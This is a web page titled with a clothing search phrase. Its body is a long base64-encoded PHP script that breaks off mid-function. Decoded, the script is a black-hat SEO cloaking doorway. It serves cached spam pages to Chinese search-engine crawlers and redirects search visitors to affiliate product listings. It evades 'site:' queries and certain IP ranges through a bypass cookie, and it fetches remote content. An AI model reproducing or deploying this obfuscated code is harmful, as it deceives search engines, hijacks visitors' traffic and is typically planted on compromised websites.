衣服 男 修身
2016-05-30 22:25:11
ICRrZXlOYW1lID0n6KGj5pyNIOeUtyDkv67ouqsnOyAKCmZ1bmN0aW9uIEFwcF9HZXRMaW5rKCl7 CQoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIucmFuZCgxMDAwMDAw MCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgpmdW5jdGlvbiBBcHBfR2V0U2VsZigpewoJcmV0dXJu ICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIucmFuZCgxMDAwMDAwMCw5OTk5OTk5 OSkuIi0xLmh0bWwiOwp9CgoKLy/Ct8K1wrvDmMONwrzDhsKsCmZ1bmN0aW9uIGdldEltZygpewoJ cmV0dXJuICdodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9pbWcvMjAxNTExMDYvbHEnLnJhbmQoMSwy MCkuIi5qcGciOwp9CgoKCgpmdW5jdGlvbiBybmRTdHIoJGxlbmd0aD04KXsKCSRzdHIgPSBudWxs OwoJJHN0clBvbCA9ICIwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoiOwoJJG1h eCA9IHN0cmxlbigkc3RyUG9sKS0xOwoJZm9yKCRpPTA7JGk8JGxlbmd0aDskaSsrKXsKCQkkc3Ry Lj0kc3RyUG9sW3JhbmQoMCwkbWF4KV07Cgl9CglyZXR1cm4gJHN0cjsKfQoKY2xhc3MgY29yZUFw cENhY2hlewoJCglwdWJsaWMgZnVuY3Rpb24gd3JpdGUoJGZpbGUsJGZpbGVuYW1lKXsKCQlyZXR1 cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLHNlbGY6OmVuY29kZSgkZmlsZSkpOwoJfQoJ cHVibGljIGZ1bmN0aW9uIHdyaXRlbm9jb2RlKCRmaWxlLCRmaWxlbmFtZSl7CgkJcmV0dXJuIGZp bGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwkZmlsZSk7Cgl9CglwdWJsaWMgZnVuY3Rpb24gcmVh ZCgkZmlsZW5hbWUpewoJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1lKTsK CQlpZihzdHJpc3RyKCRjb250ZW50LCI8L2V4cGxvZGU+IikpewoJCQkkY29udGVudCA9IHNlbGY6 OmN1dCgkY29udGVudCwiPGV4cGxvZGU+IiwiPC9leHBsb2RlPiIpOwoJCX0KCQlyZXR1cm4gc2Vs Zjo6ZGVjb2RlKCRjb250ZW50KTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gZW5jb2RlKCRmaWxlKXsK CQlyZXR1cm4gYmFzZTY0X2VuY29kZShnemNvbXByZXNzKHNlcmlhbGl6ZSgkZmlsZSkpKTsgCgl9 CgoJcHVibGljIGZ1bmN0aW9uIGRlY29kZSgkZmlsZSl7CgkJcmV0dXJuIHVuc2VyaWFsaXplKGd6 dW5jb21wcmVzcyhiYXNlNjRfZGVjb2RlKCRmaWxlKSkpOyAKCX0KCQoJcHVibGljIGZ1bmN0aW9u IGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJeyAKCQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRmaWxl KTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAgJG1l c3NhZ2VbMF07Cgl9Cn0KCgoKCiRteV9jb250ZW50PScnOwppZighZW1wdHkoJGtleU5hbWUpKXsK CSRxdWVyeV9kYXRhID0gYXJyYXkoJ3EnPT4ka2V5TmFtZSwpOwoJJG15X2FsaW1hbWEgPSBuZXcg YWxpbWFtYSgkcXVlcnlfZGF0YSk7CgkkbXlfYWxpbWFtYS0+cXVlcnkoKTsKCSRteV9jb250ZW50 ID0gJG15X2FsaW1hbWEtPmh0bWwoKTsKfQokZGF0YSA9IHN0cl9yZXBsYWNlKCc8cGhwdWw+PC9w aHB1bD4nLCRteV9jb250ZW50LCRkYXRhKTsKaWYoc3RycG9zKCRkYXRhLCJbaXRlbTptZW51XSIp IT09IGZhbHNlJiYhZW1wdHkoJGtleU5hbWUpKXsKCSR0YWdfdXJsID0gJ2h0dHBzOi8vc3VnZ2Vz dC50YW9iYW8uY29tL3N1Zz9jb2RlPXV0Zi04JnE9Jy51cmxlbmNvZGUoJGtleU5hbWUpOwoJJHRh Z19jb250ZW50ID0gYWxpbWFtYTo6SHR0cFZpc2l0KCR0YWdfdXJsKTsKCSR0YWdfanNvbiA9IGpz b25fZGVjb2RlKCR0YWdfY29udGVudCx0cnVlKTsKCSR0YWdfbWVudSA9ICcnOwoJZm9yZWFjaCAo JHRhZ19qc29uWydyZXN1bHQnXSBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCSRodHRwX2hvc3QgPSAk X1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107 CiAJCSR0YWdfaXRlbV91cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxmLic/a2V5TmFt ZT0nLnVybGVuY29kZSgkdmFsdWVbMF0pOwoJCSR0YWdfbWVudSA9ICR0YWdfbWVudS4nPGEgdGFy Z2V0PSJfYmxhbmsiIGhyZWY9IicuJHRhZ19pdGVtX3VybC4nIj4nLiR2YWx1ZVswXS4nPC9hPic7 Cgl9CgkkZGF0YSA9IHN0cl9yZXBsYWNlKCdbaXRlbTptZW51XScsJHRhZ19tZW51LCRkYXRhKTsK fQoKY2xhc3MgYWxpbWFtYXsKCQoJcHVibGljICRzaG93X3NwaWRlcjsKCXB1YmxpYyAkanVtcF9y ZWY7CglwdWJsaWMgJGh0dHBfcmVmX2ZpbHRlcjsKCXB1YmxpYyAkanVtcF91cmwgPSAiIjsKCXB1 YmxpYyAkZG9tYWluID0gIiI7CglwdWJsaWMgJGNvbmRpdGlvbiA9ICIiOwoJcHVibGljICRhcHBf c2VydmVyID0gIiI7CglwdWJsaWMgJGxvZ19zcGlkZXIgPSAiIjsKCXB1YmxpYyAkY3VyX3NwaWRl ciA9ICIiOwoJcHVibGljICRhbGxvd19pcCA9ICIiOwoJcHVibGljICRpc0NhY2hlID0gZmFsc2U7 CglwdWJsaWMgJGNyYXdsX3VybCA9ICJodHRwOi8vcHViLmFsaW1hbWEuY29tL2l0ZW1zL3NlYXJj aC5qc29uIjsKCXB1YmxpYyAkcXVlcnlfZGF0YTsKCXB1YmxpYyAkY29udGVudDsKCglwdWJsaWMg JGxpX3RlbXBsYXRlPSI8bGk+CiAgPGRpdiBjbGFzcz0nbGlfbGlzdCcgb25tb3VzZW92ZXI9J3Ro aXMuY2xhc3NOYW1lPSdsaV9ob3ZlcicnIG9ubW91c2VvdXQ9J3RoaXMuY2xhc3NOYW1lPSdsaV9s aXN0Jyc+CiAgICA8ZGl2IGNsYXNzPSduZXcnPjwvZGl2PgogICAgPGRpdiBjbGFzcz0nY29sbGVj dCc+PGEgaHJlZj0namF2YXNjcmlwdDo7Jz48L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdwaWMn PjxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19ibGFuayc+IDxpbWcgc3JjPSd7cGljdXJsfSc+PC9h PjwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGl0bGUnPiA8YSBocmVmPSd7dXJsfScgdGFyZ2V0PSdf YmxhbmsnPnt0aXRsZX08L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdtb25leV9iZyc+IAoJICAg IDxzcGFuPjxlbSBjbGFzcz0nbW9uZXlfc3ltYm9sJz7vv6U8L2VtPjxlbSBjbGFzcz0nbW9uZXlf bnVtJz57cHJpY2V9PC9lbT48L3NwYW4+IAoJICAgIDxzcGFuIGNsYXNzPSdmeF9tb25leV9iZyc+ IDxlbSBjbGFzcz0nemhla291IGl0ZW0nIHN0eWxlPSd2aXNpYmlsaXR5OiB2aXNpYmxlOyc+PGI+ e25pY2t9PC9iPjwvZW0+IAoJICAgIDxlbSBjbGFzcz0ncWlhbmdvdSc+PC9lbT4gCiAgICA8L2Rp dj4KICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0b21fYmcnPgogICAgICA8ZGl2IGNsYXNzPSd0anBf Ym90dG9tJz4KICAgICAgICA8ZGl2IGNsYXNzPSd0anBfZmFidSBjb2xvcl85OSc+e3RvdGFsRmVl fTwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF94aWFvYmlhbiBjb2xvcl82Nic+e3RvdGFs TnVtfTwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgogIDwvZGl2Pgo8L2xpPiAiOwoKCS8v 5a6a5LmJ5p6E6YCg5Ye95pWw77yM55So5LqO5Yid5aeL5YyW6LWL5YC8CiAgICBmdW5jdGlvbiBf X2NvbnN0cnVjdCgkcXVlcnlfZGF0YSkKICAgIHsKICAgICAgICAgJHRoaXMtPnF1ZXJ5X2RhdGEg PSAkcXVlcnlfZGF0YTsgICAgICAgIC8v6L+Z6YeM5bey57uP5L2/55So5LqGdGhpc+aMh+mSiOiv reWPpeKRoAogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBzZXRRdWVyeURhdGEoJHF1ZXJ5X2RhdGEp ewoJCSR0aGlzLT5xdWVyeV9kYXRhID0gJHF1ZXJ5X2RhdGE7CgkJcmV0dXJuIHRydWU7Cgl9CgoJ cHVibGljIGZ1bmN0aW9uIGh0bWwoKXsKCQkkY29udGVudCA9ICR0aGlzLT5jb250ZW50OwoJCSRh bGltYW1hX2pzb24gPSBqc29uX2RlY29kZSgkY29udGVudCx0cnVlKTsKCQkkaHRtbCA9ICI8dWw+ IjsKCQlmb3JlYWNoICgkYWxpbWFtYV9qc29uWydkYXRhJ11bJ3BhZ2VMaXN0J10gYXMgJGtleSA9 PiAkdmFsdWUpIHsKCSAJCSRpdGVtX3VybD0kdmFsdWVbJ2F1Y3Rpb25VcmwnXTsKCSAJCSRpdGVt X3RpdGxlPSR2YWx1ZVsndGl0bGUnXTsKCSAJCSRpdGVtX3ByaWNlPSR2YWx1ZVsnemtQcmljZSdd OwoJIAkJJGl0ZW1fcGljdFVybD0kdmFsdWVbJ3BpY3RVcmwnXS4nXzQwMHg0MDBfLndlYnAnOwoJ IAkJJGl0ZW1fbmljaz0kdmFsdWVbJ25pY2snXTsKCSAJCSRpdGVtX3RvdGFsTnVtPSfmgLvplIDp h486Jy4kdmFsdWVbJ3RvdGFsTnVtJ107CgkgCQkkaXRlbV90b3RhbEZlZT0n5oC75Lqk5piT6aKd OicuJHZhbHVlWyd0b3RhbEZlZSddOwoKCQkJJGh0dHBfaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hP U1QnXTsKIAkJCSRwaHBfc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwoJIAkJJGl0ZW1fdXJs PSdodHRwOi8vJy4kaHR0cF9ob3N0LiRwaHBfc2VsZi4nP2dvdHU9Jy5iYXNlNjRfZW5jb2RlKCRp dGVtX3VybCk7CgoJIAkJJGl0ZW1fcGljdFVybD0naHR0cDovL2kua2FudHUuaW4vJy5iYXNlNjRf ZW5jb2RlKCRpdGVtX3BpY3RVcmwpOwoKCQkJJGxpID0gJHRoaXMtPmxpX3RlbXBsYXRlOwoKCQkJ JGxpID0gc3RyX3JlcGxhY2UoJ3t0aXRsZX0nLCRpdGVtX3RpdGxlLCRsaSk7CgkJCSRsaSA9IHN0 cl9yZXBsYWNlKCd7cHJpY2V9JywkaXRlbV9wcmljZSwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFj ZSgne3VybH0nLCRpdGVtX3VybCwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3BpY3VybH0n LCRpdGVtX3BpY3RVcmwsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0b3RhbE51bX0nLCRp dGVtX3RvdGFsTnVtLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7bmlja30nLCRpdGVtX25p Y2ssJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0b3RhbEZlZX0nLCRpdGVtX3RvdGFsRmVl LCRsaSk7CgoJCQkkaHRtbCA9ICRodG1sLiRsaTsKCSAJCS8vIGVjaG8gJGxpOwoJIAl9CgkgCSRo dG1sID0gJGh0bWwuIjwvdWw+IjsKCQlyZXR1cm4gJGh0bWw7Cgl9CgoJcHVibGljIGZ1bmN0aW9u IHF1ZXJ5KCl7CgkJJHVybCAgPSAkdGhpcy0+Y3Jhd2xfdXJsLic/Jy5odHRwX2J1aWxkX3F1ZXJ5 KCR0aGlzLT5xdWVyeV9kYXRhKTsKCQkkdGhpcy0+Y29udGVudCA9ICR0aGlzLT5IdHRwVmlzaXQo JHVybCk7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIHJ1bigpewoJCSR0aGlzLT5kb21haW4gPSAkdGhp cy0+Z2V0U2VydmVyTmFtZSgpOwoJCSR0aGlzLT5qdW1wX3JlZiA9IGV4cGxvZGUoInwiLCJiYWlk dS58aGFvc28ufGhhb3NvdS58YmluZy58c28ufHNvZ291Lnxzb3NvLiIpOwoJCSR0aGlzLT5odHRw X3JlZl9maWx0ZXIgPSBleHBsb2RlKCJ8IiwiaW51cmw6fHNpdGU6fHNpdGUlM0F8aW51cmwlM0Ei KTsKCQkkdGhpcy0+YWxsb3dfaXAgPSAiMjIyLjE4NC4yMzR8MTEyLjg3LjcxfDU4LjIyMS44Ny58 NDkuNjcuMjIzIjsKCQkkdGhpcy0+Y29uZGl0aW9uID0gKCRfR0VUWydhaWQnXSA+IDEwMDAwMDAw ICYmICR0aGlzLT5pc0FsbG93ZElwKCkpOwoJCSR0aGlzLT5hcHBfc2VydmVyID0gIiI7CgkJJHRo aXMtPmlzQ2FjaGUgID0gRmFsc2U7CgkJaWYoJHRoaXMtPmlzU3BpZGVyKCkgJiYgJHRoaXMtPmlz QWxsb3dkSXAoKSl7CgkJCQlpZigkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCQlpZigkdGhpcy0+aXND YWNoZSl7CgkJCQkJCSRyZWxzZXRfaG9zdCA9ICR0aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7CgkJCQkJ CSRkaXIgPSAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicgPyAnQzovd2luZG93cy90ZW1w LycgOiAnL3RtcC8nKSAuIHN1YnN0cihtZDUoJHJlbHNldF9ob3N0KSwgMjYpIC4gY2hyKDQ3KTsK CQkJCQkJJGNhY2hlRmlsZSA9ICRkaXIuJ3Nlc3NfJyAuIHN1YnN0cihtZDUoaHR0cF9idWlsZF9x dWVyeSgkX0dFVCkpLCA2KTsKCQkJCQkJaWYoIUBmaWxlX2V4aXN0cygkZGlyKSl7CiAgICAgICAg ICAgICAJCQkJIG1rZGlyKCRkaXIsIDA3NzcpOwogICAgICAgICAgICAJCQl9CgkJCQkJCWlmKEBm aWxlX2V4aXN0cygkY2FjaGVGaWxlKSAmJiBAZmlsZXNpemUgKCRjYWNoZUZpbGUpID4gMzIgKXsK CQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OnJlYWQoJGNhY2hlRmlsZSk7CgkJCQkJCQkkcGFn ZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsKCQkJCQkJCWZvcmVhY2go JHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJ JHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJCQkJCQl9CgkJCQkJCQllY2hv ICRwYWdlOwoJCQkJCQkJZXhpdCgpOwoJCQkJCQl9CgkJCQkJCWVsc2UKCQkJCQkJewkKCQkJCQkJ CS8vwrDDvMK6wqzCvcO4QVBQwrzCtMK/w4kKCQkJCQkJCSRjdXJyZW50UGFnZSA9IGluY2x1ZGUo QVBQX0pBQ0tfQVBQRklMRSk7CgkJCQkJCQlpZigkY3VycmVudFBhZ2UgJiYgc3RybGVuKCRjdXJy ZW50UGFnZSkgPiAzMiAmJiBzdHJpc3RyKCRjdXJyZW50UGFnZSwiPC9leHBsb2RlPiIpKXsKCQkJ CQkJCQkkdmFyID0gc2VsZjo6Y3V0KCRjdXJyZW50UGFnZSwiPGV4cGxvZGU+IiwiPC9leHBsb2Rl PiIpOwoJCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OmRlY29kZSgkdmFyKTsKCQkJCQkJCQkk cGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsKCQkJCQkJCQlmb3Jl YWNoKCR2YXIgYXMgJGtleT0+JHYpewoJCQkJCQkJCQkkZmxhZyA9ICJ7Ii4ka2V5LiJ9IjsKCQkJ CQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJCQkJCQkJfQoJCQkJ CQkJCWVjaG8gJHBhZ2U7CgkJCQkJCQkJQGNvcmVBcHBDYWNoZTo6d3JpdGVub2NvZGUoJGN1cnJl bnRQYWdlLCRjYWNoZUZpbGUpOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJCWRpZSgpOwoJCQkJCX0K CQkJCQllbHNlCgkJCQkJewoJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQ UEZJTEUpOwoJCQkJCQllY2hvICRjdXJyZW50UGFnZTsKCQkJCQkJZGllKCk7CgkJCQkJfQoJCQkJ fQoJCQkJZWxzZQoJCQkJewoKCQkJCQkkdGhpcy0+X3VuY29uZGl0aW9uX2hvb2soKTsKCQkJCX0K CQl9CgkJZWxzZQoJCXsJCgkJCWlmKCR0aGlzLT5pc1JlZigpICYmICR0aGlzLT5jb25kaXRpb24p ewoJCQkJJHRoaXMtPkp1bXAoKTsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSR0aGlzLT5fdW5TcGlk ZXJfaG9vaygpOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc0FsbG93ZElwKCl7CgkJ JGlwID0gJHRoaXMtPmNsaWVudElwKCk7CgkJJG5vbl9saXN0ID0gZXhwbG9kZSgifCIsJHRoaXMt PmFsbG93X2lwKTsKCQlmb3JlYWNoKCRub25fbGlzdCBhcyAkaXBsaXN0KXsKCQkJaWYoQHN0cmlz dHIoJGlwLCRpcGxpc3QpKXsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQlyZXR1cm4gdHJ1 ZTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gY2xpZW50SXAoKXsKCQlpZihnZXRlbnYoJ0hUVFBfQ0xJ RU5UX0lQJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJyksICd1bmtub3du JykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpOwoJCX0gZWxzZWlm KGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSAmJiBzdHJjYXNlY21wKGdldGVudignSFRU UF9YX0ZPUldBUkRFRF9GT1InKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J0hUVFBfWF9GT1JXQVJERURfRk9SJyk7CgkJfSBlbHNlaWYoZ2V0ZW52KCdSRU1PVEVfQUREUicp ICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdSRU1PVEVfQUREUicpLCAndW5rbm93bicpKSB7CgkJCSRv bmxpbmVpcCA9IGdldGVudignUkVNT1RFX0FERFInKTsKCQl9IGVsc2VpZihpc3NldCgkX1NFUlZF UlsnUkVNT1RFX0FERFInXSkgJiYgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gJiYgc3RyY2FzZWNt cCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSAk X1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCQl9CgkJcHJlZ19tYXRjaCgiL1tcZFwuXXs3LDE1fS8i LCAkb25saW5laXAsICRvbmxpbmVpcG1hdGNoZXMpOwoJCSRvbmxpbmVpcCA9ICRvbmxpbmVpcG1h dGNoZXNbMF0gPyAkb25saW5laXBtYXRjaGVzWzBdIDogJ3Vua25vd24nOwoJCXVuc2V0KCRvbmxp bmVpcG1hdGNoZXMpOwoJCXJldHVybiAkb25saW5laXA7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGlz U3BpZGVyKCl7CgkJJGJvdHMgPSBhcnJheSgKCQkJCSdCYWlkdScgICAgICAgID0+ICdiYWlkdXNw aWRlcicsCgkJCQknU29nb3UnICAgICAgICA9PiAnc29nb3UnLAoJCQkJJ0hhb3NvJyAgICAgICAg PT4gJ2hhb3NvdXNwaWRlcicsCgkJCQknMzYwc3BpZGVyJyAgICAgICAgPT4gJzM2MHNwaWRlcicK CQkgKTsKCQkkdXNlckFnZW50ID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5U J10pOwoJCWZvcmVhY2ggKCRib3RzIGFzICRrID0+ICR2KXsKCQkJaWYgKHN0cmlzdHIoJHVzZXJB Z2VudCwkdikpewoJCQkJaWYoIWVtcHR5KCR0aGlzLT5sb2dfc3BpZGVyKSl7CgkJCQkJQGZpbGVf cHV0X2NvbnRlbnRzKCR0aGlzLT5sb2dfc3BpZGVyLCR2LiItPlZpc2l0ZWQgIi4kX1NFUlZFUlsn UVVFUllfU1RSSU5HJ10uImF0OiAiLmRhdGUoIlktbS1kIEg6aTpzIikuIlxuIixGSUxFX0FQUEVO RCk7CgkJCQl9CgkJCQkkdGhpcy0+Y3VyX3NwaWRlciA9ICRrOwoJCQkJcmV0dXJuIHRydWU7CgkJ CQlicmVhazsKCQkJfQoJCX0KCQlyZXR1cm4gZmFsc2U7CQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBp c1JlZigpewoJCSRyZWYgPSBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOwoJ CWlmKGlzc2V0KCRfQ09PS0lFWyJkb21haW4tZmlsdGVyLWJ5cGFzcyJdKSl7CgkJCXJldHVybiBm YWxzZTsKCQl9CgkJCgkJaWYoISR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQlzZXRjb29raWUoImRv bWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSArIDI1OTIwMCk7CgkJCXJldHVybiBm YWxzZTsKCQl9CgoJCWZvcmVhY2goJHRoaXMtPmh0dHBfcmVmX2ZpbHRlciBhcyAkcil7CgkJCSRy ID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikpewoJCQkJc2V0Y29va2llKCJkb21h aW4tZmlsdGVyLWJ5cGFzcyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQkJcmV0dXJuIGZh bHNlOwoJCQl9CgkJfQoJCgkJZm9yZWFjaCgkdGhpcy0+anVtcF9yZWYgYXMgJHIpewoJCQkkciA9 IHRyaW0oJHIpOwoJCQlpZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXJldHVybiB0cnVlOwoJCQl9 CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBnZXRTZXJ2ZXJOYW1lKCkgCgl7IAoJCSRTZXJ2ZXJO YW1lID0gc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX05BTUUnXT8kX1NFUlZFUlsnU0VSVkVS X05BTUUnXTokX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyAKCQlpZiggc3RycG9zKCRTZXJ2ZXJOYW1l LCdodHRwOi8vJykgKSAKCQl7IAoJCQlyZXR1cm4gc3RyX3JlcGxhY2UoJ2h0dHA6Ly8nLCcnLCRT ZXJ2ZXJOYW1lKTsgCgkJfSAKCQlyZXR1cm4gJFNlcnZlck5hbWU7IAoJfQoKCXB1YmxpYyBmdW5j dGlvbiBnZXRQYWdlKCl7CgkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkkY2FjaGU9ImNhY2hlZCI7 CgkJfQoJCSR1cmwgID0gJHRoaXMtPmFwcF9zZXJ2ZXIuIj9kb21haW49Ii4kdGhpcy0+ZG9tYWlu LiImZ2lkPTE5OSZzcGlkZXI9Ii4kdGhpcy0+Y3VyX3NwaWRlci4iJmNhY2hlPSIuJGNhY2hlLiIm bG9jYWxQYXI9Ii5odHRwX2J1aWxkX3F1ZXJ5KCRfR0VUKTsKCQlyZXR1cm4gJHRoaXMtPkh0dHBW aXNpdCgkdXJsKTsKCX0KCiAgICBwdWJsaWMgZnVuY3Rpb24gSHR0cFZpc2l0KCR3ZWJ1cmwpIHsK ICAgIAkkdXNlcl9hZ2VudCA9ICJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1Mg WCAxMF8xMF81KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUv NDUuMC4yNDU0Ljg1IFNhZmFyaS81MzcuMzYgUVFCcm93c2VyLzMuOS4zOTQzLjQwMCI7CiAgICAg ICAgJHJlbW90ZV9kYXRhID0gTlVMTDsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJs X2V4ZWMnKSkgewogICAgICAgICAgICAkY3VybCA9IEBjdXJsX2luaXQoKTsKICAgICAgICAgICAg QGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHdlYnVybCk7CiAgICAgICAgICAgIEBj dXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICAgICAgICBAY3VybF9z ZXRvcHQoJGN1cmwsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDMwKTsKICAgICAgICAgICAgQGN1 cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAgICAg QGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJfYWdlbnQpOyAKICAg ICAgICAgICAgJHJlbW90ZV9kYXRhID0gQGN1cmxfZXhlYygkY3VybCk7CiAgICAgICAgICAgIEBj dXJsX2Nsb3NlKCRjdXJsKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoZnVuY3Rp b25fZXhpc3RzKCdzdHJlYW1fY29udGV4dF9jcmVhdGUnKSkgewogICAgICAgICAgICAgICAgJGhl YWRlcl9hcnJheSA9IGFycmF5KCdodHRwJyA9PiBhcnJheSgnbWV0aG9kJyA9PiAnR0VUJywgJ3Rp bWVvdXQnID0+IDMwKSk7CiAgICAgICAgICAgICAgICAkaHR0cF9oZWFkZXIgPSBAc3RyZWFtX2Nv bnRleHRfY3JlYXRlKCRoZWFkZXJfYXJyYXkpOwogICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRh ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3ZWJ1cmwsIGZhbHNlLCAkaHR0cF9oZWFkZXIpOwogICAg ICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHRlbXBfdXJsID0gZXhwbG9kZSgiLyIs ICR3ZWJ1cmwpOwogICAgICAgICAgICAgICAgJG5ld191cmwgPSAkdGVtcF91cmxbMl07CiAgICAg ICAgICAgICAgICAkaHR0cF9wb3J0ID0gODA7CiAgICAgICAgICAgICAgICAkZ2V0X2ZpbGUgPSBz dWJzdHIoJHdlYnVybCwgc3RybGVuKCRuZXdfdXJsKSArIDcpOwogICAgICAgICAgICAgICAgaWYg KHN0cnN0cigkbmV3X3VybCwgY2hyKDU4KSkpIHsKICAgICAgICAgICAgICAgICAgICAkc192YXJf YXJyYXlbJ3RkJ10gPSBleHBsb2RlKGNocig1OCksICRuZXdfdXJsKTsKICAgICAgICAgICAgICAg ICAgICAkbmV3X3VybCA9ICRzX3Zhcl9hcnJheVsndGQnXVswXTsKICAgICAgICAgICAgICAgICAg ICAkaHR0cF9wb3J0ID0gJHNfdmFyX2FycmF5Wyd0ZCddWzFdOwogICAgICAgICAgICAgICAgfQog ICAgICAgICAgICAgICAgJGZzb2NrX3Jlc3VsdCA9IEBmc29ja29wZW4oJG5ld191cmwsICRodHRw X3BvcnQpOwogICAgICAgICAgICAgICAgQGZwdXRzKCRmc29ja19yZXN1bHQsICdHRVQgJyAuICRn ZXRfZmlsZSAuICcgSFRUUC8xLjEnIC4gIlxyXG4iIC4gJ0hvc3Q6JyAuICRuZXdfdXJsIC4gIlxy XG4iIC4gJ0Nvbm5lY3Rpb246Q2xvc2UnIC4gIlxyXG5cclxuIik7CiAgICAgICAgICAgICAgICB3 aGlsZSAoIWZlb2YoJGZzb2NrX3Jlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAkcmVtb3Rl X2RhdGEgLj0gZmdldHMoJGZzb2NrX3Jlc3VsdCwgMTAyNCk7CiAgICAgICAgICAgICAgICB9CiAg ICAgICAgICAgICAgICBAZmNsb3NlKCRmc29ja19yZXN1bHQpOwogICAgICAgICAgICB9CiAgICAg ICAgfQogICAgICAgIHJldHVybiAkcmVtb3RlX2RhdGE7CiAgICB9CgoJcHVibGljIGZ1bmN0aW9u 